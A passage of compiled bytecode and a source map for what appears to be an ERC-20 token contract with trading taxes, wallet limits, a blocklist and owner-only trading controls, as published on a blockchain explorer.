6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fe565b600080546001600160a01b03858116911614801590610c0357506000546001600160a01b03848116911614155b15610e95576001600160a01b03841660009081526004602052604090205460ff16158015610c4a57506001600160a01b03831660009081526004602052604090205460ff16155b610c5357600080fd5b610c7f6064610c79600954600b5411610c6e57600554610c72565b6007545b8590610ee1565b90610f6a565b6011549091506001600160a01b038581169116148015610cad57506010546001600160a01b03848116911614155b8015610cd257506001600160a01b03831660009081526003602052604090205460ff16155b15610dba57600c54821115610d295760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fe565b600d5482610d4c856001600160a01b031660009081526001602052604090205490565b610d5691906117bd565b1115610da45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fe565b600b8054906000610db4836117d0565b91905055505b6011546001600160a01b038481169116148015610de057506001600160a01b0384163014155b15610e0d57610e0a6064610c79600954600b5411610e0057600654610c72565b6008548590610ee1565b90505b30600090815260016020526040902054601154600160a81b900460ff16158015610e4457506011546001600160a01b038581169116145b8015610e595750601154600160b01b900460ff165b15610e9357600a54600b541115610e8757610e87610e8284610e7d84600e54610fac565b610fac565b610fc1565b47610e9181611142565b505b505b610ea18484848461117c565b50505050565b60008184841115610ecb5760405162461bcd60e51b81526004016103fe91906114d5565b506000610ed884866117e9565b95945050505050565b600082600003610ef3575060006103ad565b6000610eff8385611704565b905082610f0c85836117fc565b14610f635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fe565b9392505050565b6000610f6383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611406565b6000818311610fbb5782610f63565b50919050565b6011805460ff60a81b1916600160a81b179055801561113257604080516002808252606082018352600092602083019080368337019050509050308160008151811061100f5761100f61181e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611068573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108c9190611750565b8160018151811061109f5761109f61181e565b6001600160a01b0392831660209182029290920101526010546110c591309116846109f5565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fe908590600090869030904290600401611834565b600060405180830381600087803b15801561111857600080fd5b505af115801561112c573d6000803e3d6000fd5b50505050505b506011805460ff60a81b19169055565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561094d573d6000803e3d6000fd5b6001600160a01b03841660009081526003602052604090205460ff1615806111ac57506001600160a01b03841630145b15611215576001600160a01b0384166000908152600160205260409020546111d49082611434565b6001600160a01b0385166000908152600160205260408082209290925530815220546112009082611476565b306000908152600160205260409020556112ed565b6001600160a01b038316301480159061123c57506000546001600160a01b03858116911614155b801561125557506011546001600160a01b038481169116145b156112ed576001600160a01b03841660009081526001602052604090205461127d9082611434565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546112ac9083611476565b6001600160a01b0384166000908152600160205260409020556008546007546112d591906117bd565b6112e09060016117bd565b6112ea9083611704565b90505b80156113345760405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6113606113418383611434565b6001600160a01b03861660009081526001602052604090205490611434565b6001600160a01b0385166000908152600160205260409020556113a56113868383611434565b6001600160a01b03851660009081526001602052604090205490611476565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ef8585611434565b60405190815260200160405180910390a350505050565b600081836114275760405162461bcd60e51b81526004016103fe91906114d5565b506000610ed884866117fc565b6000610f6383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea7565b60008061148383856117bd565b905083811015610f635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b600060208083528351808285015260005b81811015611502578581018301518582016040015282016114e6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461044157600080fd5b6000806040838503121561154b57600080fd5b823561155681611523565b946020939093013593505050565b60008060006060848603121561157957600080fd5b833561158481611523565b9250602084013561159481611523565b929592945050506040919091013590565b6000602082840312156115b757600080fd5b8135610f6381611523565b600080604083850312156115d557600080fd5b82356115e081611523565b915060208301356115f081611523565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561164c578160001904821115611632576116326115fb565b8085161561163f57918102915b93841c9390800290611616565b509250929050565b600082611663575060016103ad565b81611670575060006103ad565b81600181146116865760028114611690576116ac565b60019150506103ad565b60ff8411156116a1576116a16115fb565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156116cf575081810a6103ad565b6116d98383611611565b80600019048211156116ed576116ed6115fb565b029392505050565b6000610f6360ff841683611654565b80820281158282048414176103ad576103ad6115fb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561176257600080fd5b8151610f6381611523565b60008060006060848603121561178257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ad57600080fd5b81518015158114610f6357600080fd5b808201808211156103ad576103ad6115fb565b6000600182016117e2576117e26115fb565b5060010190565b818103818111156103ad576103ad6115fb565b60008261181957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118845784516001600160a01b03168352938301939183019160010161185f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfeb340f47f919751dba1739f049924c654dfadd43ad05c440df81a38a10a0c064736f6c63430008130033
Deployed Bytecode Sourcemap
3880:8530:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5554:83;;;;;;;;;;-1:-1:-1;5624:5:0;;;;;;;;;;;;-1:-1:-1;;;5624:5:0;;;;5554:83;;;;;;;:::i;:::-;;;;;;;;6428:186;;;;;;;;;;-1:-1:-1;6428:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6428:186:0;1023:187:1;4831:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4831:47:0;1215:177:1;5825:100:0;;;;;;;;;;;;;:::i;12299:108::-;;;;;;;;;;;;;:::i;:::-;;6620:446;;;;;;;;;;-1:-1:-1;6620:446:0;;;;;:::i;:::-;;:::i;5736:83::-;;;;;;;;;;-1:-1:-1;5736:83:0;;4472:2;2000:36:1;;1988:2;1973:18;5736:83:0;1858:184:1;5931:119:0;;;;;;;;;;-1:-1:-1;5931:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6024:18:0;5997:7;6024:18;;;:9;:18;;;;;;;5931:119;2881:148;;;;;;;;;;;;;:::i;11926:192::-;;;;;;;;;;;;;:::i;4711:52::-;;;;;;;;;;;;;;;;2671:79;;;;;;;;;;-1:-1:-1;2709:7:0;2736:6;2671:79;;-1:-1:-1;;;;;2736:6:0;;;2445:51:1;;2433:2;2418:18;2671:79:0;2299:203:1;4770:54:0;;;;;;;;;;;;;;;;5643:87;;;;;;;;;;-1:-1:-1;5715:7:0;;;;;;;;;;;;-1:-1:-1;;;5715:7:0;;;;5643:87;;10246:932;;;;;;;;;;-1:-1:-1;10246:932:0;;;;;:::i;:::-;;:::i;6056:192::-;;;;;;;;;;-1:-1:-1;6056:192:0;;;;;:::i;:::-;;:::i;12124:167::-;;;;;;;;;;;;;:::i;6254:168::-;;;;;;;;;;-1:-1:-1;6254:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6387:18:0;;;6360:7;6387:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6254:168;6428:186;6528:4;6545:39;312:10;6568:7;6577:6;6545:8;:39::i;:::-;-1:-1:-1;6602:4:0;6428:186;;;;;:::o;5825:100::-;5878:7;4535:15;4472:2;4535;:15;:::i;:::-;4521:29;;:11;:29;:::i;:::-;5898:19;;5825:100;:::o;12299:108::-;2796:6;;-1:-1:-1;;;;;2796:6:0;312:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;;;;;;;;;2709:7;2736:6;;12350:49:::1;::::0;-1:-1:-1;;;;;2736:6:0;;;;12377:21:::1;12350:49:::0;::::1;;;::::0;12377:21;;12350:49;2709:7;12350:49;12377:21;2736:6;12350:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12299:108::o:0;6620:446::-;6752:4;6769:36;6779:6;6787:9;6798:6;6769:9;:36::i;:::-;6816:220;6839:6;312:10;6887:138;6943:6;6887:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6887:19:0;;;;;;:11;:19;;;;;;;;312:10;6887:33;;;;;;;;;;:37;:138::i;:::-;6816:8;:220::i;:::-;-1:-1:-1;7054:4:0;6620:446;;;;;:::o;2881:148::-;2796:6;;-1:-1:-1;;;;;2796:6:0;312:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;2988:1:::1;2972:6:::0;;2951:40:::1;::::0;-1:-1:-1;;;;;2972:6:0;;::::1;::::0;2951:40:::1;::::0;2988:1;;2951:40:::1;3019:1;3002:19:::0;;-1:-1:-1;;;;;;3002:19:0::1;::::0;;2881:148::o;11926:192::-;2796:6;;-1:-1:-1;;;;;2796:6:0;312:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;-1:-1:-1;;11980:12:0::1;:32:::0;;;12023:14:::1;:34:::0;;;12073:37:::1;::::0;1361:25:1;;;12073:37:0::1;::::0;1349:2:1;1334:18;12073:37:0::1;;;;;;;11926:192::o:0;10246:932::-;2796:6;;-1:-1:-1;;;;;2796:6:0;312:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;10321:11:::1;::::0;-1:-1:-1;;;10321:11:0;::::1;;;10320:12;10312:48;;;::::0;-1:-1:-1;;;10312:48:0;;5151:2:1;10312:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;10312:48:0::1;4949:347:1::0;10312:48:0::1;10371:15;:104:::0;;-1:-1:-1;;;;;;10371:104:0::1;10422:42;10371:104:::0;;::::1;::::0;;;10486:63:::1;::::0;10503:4:::1;::::0;4535:15:::1;4472:2;4535;:15;:::i;:::-;4521:29;::::0;:11:::1;:29;:::i;10486:63::-;10560:14;:32:::0;;-1:-1:-1;;;;;;10560:32:0::1;-1:-1:-1::0;;;;;10560:32:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10603:34:0;;;:18:::1;:34;::::0;;;;;;;;:41;;-1:-1:-1;;10603:41:0::1;-1:-1:-1::0;10603:41:0::1;::::0;;10689:15:::1;::::0;:25;;-1:-1:-1;;;10689:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;10603:34;10689:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10671:55:0::1;;10753:4;10777:15;;;;;;;;;-1:-1:-1::0;;;;;10777:15:0::1;-1:-1:-1::0;;;;;10777:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10671:143;::::0;-1:-1:-1;;;;;;10671:143:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10671:143:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10671:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10655:13;:159:::0;;-1:-1:-1;;;;;10655:159:0;;::::1;-1:-1:-1::0;;;;;;10655:159:0;;::::1;;::::0;;10825:15:::1;::::0;::::1;:31;10864:21;10909:4;10929:24;10909:4:::0;-1:-1:-1;;;;;6024:18:0;5997:7;6024:18;;;:9;:18;;;;;;;5931:119;10929:24:::1;10968:1;10984::::0;11000:7:::1;2709::::0;2736:6;-1:-1:-1;;;;;2736:6:0;;2671:79;11000:7:::1;10825:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10825:223:0;;;-1:-1:-1;;;;;6225:15:1;;;10825:223:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;11022:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10825:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11066:13:0::1;::::0;11111:15:::1;::::0;11059:111:::1;::::0;-1:-1:-1;;;11059:111:0;;-1:-1:-1;;;;;11111:15:0;;::::1;11059:111;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;11066:13:0;::::1;::::0;-1:-1:-1;11059:29:0::1;::::0;6936:18:1;;11059:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10246:932:::0;:::o;6056:192::-;6159:4;6176:42;312:10;6200:9;6211:6;6176:9;:42::i;12124:167::-;2796:6;;-1:-1:-1;;;;;2796:6:0;312:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;12186:11:::1;::::0;-1:-1:-1;;;12186:11:0;::::1;;;12185:12;12177:48;;;::::0;-1:-1:-1;;;12177:48:0;;5151:2:1;12177:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12177:48:0::1;4949:347:1::0;12177:48:0::1;12236:11;:18:::0;;-1:-1:-1;;;;12265:18:0;-1:-1:-1;;;12265:18:0;;;12124:167::o;7072:335::-;-1:-1:-1;;;;;7165:19:0;;7157:68;;;;-1:-1:-1;;;7157:68:0;;7552:2:1;7157:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7157:68:0;7350:400:1;7157:68:0;-1:-1:-1;;;;;7244:21:0;;7236:68;;;;-1:-1:-1;;;7236:68:0;;7957:2:1;7236:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7236:68:0;7755:398:1;7236:68:0;-1:-1:-1;;;;;7315:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7367:32;;1361:25:1;;;7367:32:0;;1334:18:1;7367:32:0;;;;;;;7072:335;;;:::o;7448:1701::-;-1:-1:-1;;;;;7536:18:0;;;;;;:56;;-1:-1:-1;;;;;;7576:16:0;;;;7536:56;:88;;;;;7623:1;7614:6;:10;7536:88;:151;;;;-1:-1:-1;7647:11:0;;-1:-1:-1;;;7647:11:0;;;;;:39;;-1:-1:-1;;;;;;7662:24:0;;;;;;:18;:24;;;;;;;;7647:39;7528:201;;;;-1:-1:-1;;;7528:201:0;;8360:2:1;7528:201:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7528:201:0;8158:401:1;7528:201:0;7740:17;2736:6;;-1:-1:-1;;;;;7776:15:0;;;2736:6;;7776:15;;;;:32;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;7795:13:0;;;2736:6;;7795:13;;7776:32;7772:1314;;;-1:-1:-1;;;;;7834:10:0;;;;;;:4;:10;;;;;;;;7833:11;:24;;;;-1:-1:-1;;;;;;7849:8:0;;;;;;:4;:8;;;;;;;;7848:9;7833:24;7825:33;;;;;;7885:202;8083:3;7885:175;7949:9;;7937;;:21;7936:105;;8027:14;;7936:105;;;7987:12;;7936:105;7885:6;;:28;:175::i;:::-;:197;;:202::i;:::-;8132:13;;7873:214;;-1:-1:-1;;;;;;8124:21:0;;;8132:13;;8124:21;:72;;;;-1:-1:-1;8180:15:0;;-1:-1:-1;;;;;8166:30:0;;;8180:15;;8166:30;;8124:72;:116;;;;-1:-1:-1;;;;;;8218:22:0;;;;;;:18;:22;;;;;;;;8217:23;8124:116;8102:376;;;8293:12;;8283:6;:22;;8275:60;;;;-1:-1:-1;;;8275:60:0;;8766:2:1;8275:60:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:27;8824:18;;;8817:55;8889:18;;8275:60:0;8564:349:1;8275:60:0;8388:14;;8378:6;8362:13;8372:2;-1:-1:-1;;;;;6024:18:0;5997:7;6024:18;;;:9;:18;;;;;;;5931:119;8362:13;:22;;;;:::i;:::-;:40;;8354:78;;;;-1:-1:-1;;;8354:78:0;;9250:2:1;8354:78:0;;;9232:21:1;9289:2;9269:18;;;9262:30;9328:28;9308:18;;;9301:56;9374:18;;8354:78:0;9048:350:1;8354:78:0;8451:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8102:376;8502:13;;-1:-1:-1;;;;;8496:19:0;;;8502:13;;8496:19;:44;;;;-1:-1:-1;;;;;;8519:21:0;;8535:4;8519:21;;8496:44;8492:173;;;8573:76;8645:3;8573:67;8597:9;;8585;;:21;8584:55;;8624:15;;8584:55;;;8609:13;;8573:6;;:10;:67::i;:76::-;8561:88;;8492:173;8728:4;8679:28;6024:18;;;:9;:18;;;;;;8754:6;;-1:-1:-1;;;8754:6:0;;;;8753:7;:30;;;;-1:-1:-1;8770:13:0;;-1:-1:-1;;;;;8764:19:0;;;8770:13;;8764:19;8753:30;:45;;;;-1:-1:-1;8787:11:0;;-1:-1:-1;;;8787:11:0;;;;8753:45;8749:326;;;8835:18;;8823:9;;:30;8819:126;;;8876:69;8893:51;8897:6;8905:38;8909:20;8931:11;;8905:3;:38::i;:::-;8893:3;:51::i;:::-;8876:16;:69::i;:::-;8990:21;9030:29;8990:21;9030:12;:29::i;:::-;8800:275;8749:326;7810:1276;7772:1314;9096:45;9113:4;9119:2;9123:6;9131:9;9096:16;:45::i;:::-;7517:1632;7448:1701;;;:::o;1483:224::-;1603:7;1639:12;1631:6;;;;1623:29;;;;-1:-1:-1;;;1623:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1663:9:0;1675:5;1679:1;1675;:5;:::i;:::-;1663:17;1483:224;-1:-1:-1;;;;;1483:224:0:o;1713:246::-;1771:7;1795:1;1800;1795:6;1791:47;;-1:-1:-1;1825:1:0;1818:8;;1791:47;1848:9;1860:5;1864:1;1860;:5;:::i;:::-;1848:17;-1:-1:-1;1893:1:0;1884:5;1888:1;1848:17;1884:5;:::i;:::-;:10;1876:56;;;;-1:-1:-1;;;1876:56:0;;10100:2:1;1876:56:0;;;10082:21:1;10139:2;10119:18;;;10112:30;10178:34;10158:18;;;10151:62;-1:-1:-1;;;10229:18:1;;;10222:31;10270:19;;1876:56:0;9898:397:1;1876:56:0;1950:1;1713:246;-1:-1:-1;;;1713:246:0:o;1965:132::-;2023:7;2050:39;2054:1;2057;2050:39;;;;;;;;;;;;;;;;;:3;:39::i;11184:107::-;11241:7;11273:1;11269;:5;11268:15;;11282:1;11268:15;;;-1:-1:-1;11278:1:0;11184:107;-1:-1:-1;11184:107:0:o;11297:521::-;5206:6;:13;;-1:-1:-1;;;;5206:13:0;-1:-1:-1;;;5206:13:0;;;11375:28;;11396:7:::1;11375:28;11437:16;::::0;;11451:1:::1;11437:16:::0;;;;;::::1;::::0;;11413:21:::1;::::0;11437:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11437:16:0::1;11413:40;;11482:4;11464;11469:1;11464:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11464:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11508:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11508:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11464:7;;11508:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11498:4;11503:1;11498:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11498:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11573:15:::1;::::0;11541:62:::1;::::0;11558:4:::1;::::0;11573:15:::1;11591:11:::0;11541:8:::1;:62::i;:::-;11614:15;::::0;:196:::1;::::0;-1:-1:-1;;;11614:196:0;;-1:-1:-1;;;;;11614:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11695:11;;11614:15:::1;::::0;11737:4;;11764::::1;::::0;11784:15:::1;::::0;11614:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11364:454;5230:1;-1:-1:-1::0;5242:6:0;:14;;-1:-1:-1;;;;5242:14:0;;;11297:521::o;11824:96::-;11881:14;;:31;;-1:-1:-1;;;;;11881:14:0;;;;:31;;;;;11905:6;;11881:14;:31;:14;:31;11905:6;11881:14;:31;;;;;;;;;;;;;;;;;;;9155:1085;-1:-1:-1;;;;;9360:24:0;;;;;;:18;:24;;;;;;;;9359:25;;:50;;-1:-1:-1;;;;;;9388:21:0;;9404:4;9388:21;9359:50;9340:592;;;-1:-1:-1;;;;;9449:15:0;;;;;;:9;:15;;;;;;:30;;9469:9;9449:19;:30::i;:::-;-1:-1:-1;;;;;9431:15:0;;;;;;:9;:15;;;;;;:48;;;;9543:4;9525:24;;;;:39;;9554:9;9525:28;:39::i;:::-;9516:4;9498:24;;;;:9;:24;;;;;:66;9340:592;;;-1:-1:-1;;;;;9621:19:0;;9635:4;9621:19;;;;:38;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;9644:15:0;;;2736:6;;9644:15;;9621:38;:61;;;;-1:-1:-1;9669:13:0;;-1:-1:-1;;;;;9663:19:0;;;9669:13;;9663:19;9621:61;9618:299;;;-1:-1:-1;;;;;9725:15:0;;;;;;:9;:15;;;;;;:30;;9745:9;9725:19;:30::i;:::-;-1:-1:-1;;;;;9707:15:0;;;;;;;:9;:15;;;;;;:48;;;;9794:13;;;;;;;:25;;9812:6;9794:17;:25::i;:::-;-1:-1:-1;;;;;9778:13:0;;;;;;:9;:13;;;;;:41;9879:13;;9864:12;;:28;;9879:13;9864:28;:::i;:::-;:32;;9895:1;9864:32;:::i;:::-;9854:43;;:6;:43;:::i;:::-;9842:55;;9618:299;9949:13;;9946:80;;9986:40;;1361:25:1;;;10009:4:0;;-1:-1:-1;;;;;9986:40:0;;;;;1349:2:1;1334:18;9986:40:0;;;;;;;9946:80;10066:42;10086:21;:6;10097:9;10086:10;:21::i;:::-;-1:-1:-1;;;;;10066:15:0;;;;;;:9;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;10048:15:0;;;;;;:9;:15;;;;;:60;10135:40;10153:21;:6;10164:9;10153:10;:21::i;:::-;-1:-1:-1;;;;;10135:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10119:13:0;;;;;;;:9;:13;;;;;:56;;;;10191:41;;;10210:21;:6;10221:9;10210:10;:21::i;:::-;10191:41;;1361:25:1;;;1349:2;1334:18;10191:41:0;;;;;;;9155:1085;;;;:::o;2103:223::-;2223:7;2258:12;2251:5;2243:28;;;;-1:-1:-1;;;2243:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2282:9:0;2294:5;2298:1;2294;:5;:::i;1341:136::-;1399:7;1426:43;1430:1;1433;1426:43;;;;;;;;;;;;;;;;;:3;:43::i;1156:179::-;1214:7;;1246:5;1250:1;1246;:5;:::i;:::-;1234:17;;1275:1;1270;:6;;1262:46;;;;-1:-1:-1;;;1262:46:0;;11751:2:1;1262:46:0;;;11733:21:1;11790:2;11770:18;;;11763:30;11829:29;11809:18;;;11802:57;11876:18;;1262:46:0;11549:351:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;8918:125;8983:9;;;9004:10;;;9001:36;;;9017:18;;:::i;9403:135::-;9442:3;9463:17;;;9460:43;;9483:18;;:::i;:::-;-1:-1:-1;9530:1:1;9519:13;;9403:135::o;9543:128::-;9610:9;;;9631:11;;;9628:37;;;9645:18;;:::i;9676:217::-;9716:1;9742;9732:132;;9786:10;9781:3;9777:20;9774:1;9767:31;9821:4;9818:1;9811:15;9849:4;9846:1;9839:15;9732:132;-1:-1:-1;9878:9:1;;9676:217::o;10432:127::-;10493:10;10488:3;10484:20;10481:1;10474:31;10524:4;10521:1;10514:15;10548:4;10545:1;10538:15;10564:980;10826:4;10874:3;10863:9;10859:19;10905:6;10894:9;10887:25;10931:2;10969:6;10964:2;10953:9;10949:18;10942:34;11012:3;11007:2;10996:9;10992:18;10985:31;11036:6;11071;11065:13;11102:6;11094;11087:22;11140:3;11129:9;11125:19;11118:26;;11179:2;11171:6;11167:15;11153:29;;11200:1;11210:195;11224:6;11221:1;11218:13;11210:195;;;11289:13;;-1:-1:-1;;;;;11285:39:1;11273:52;;11380:15;;;;11345:12;;;;11321:1;11239:9;112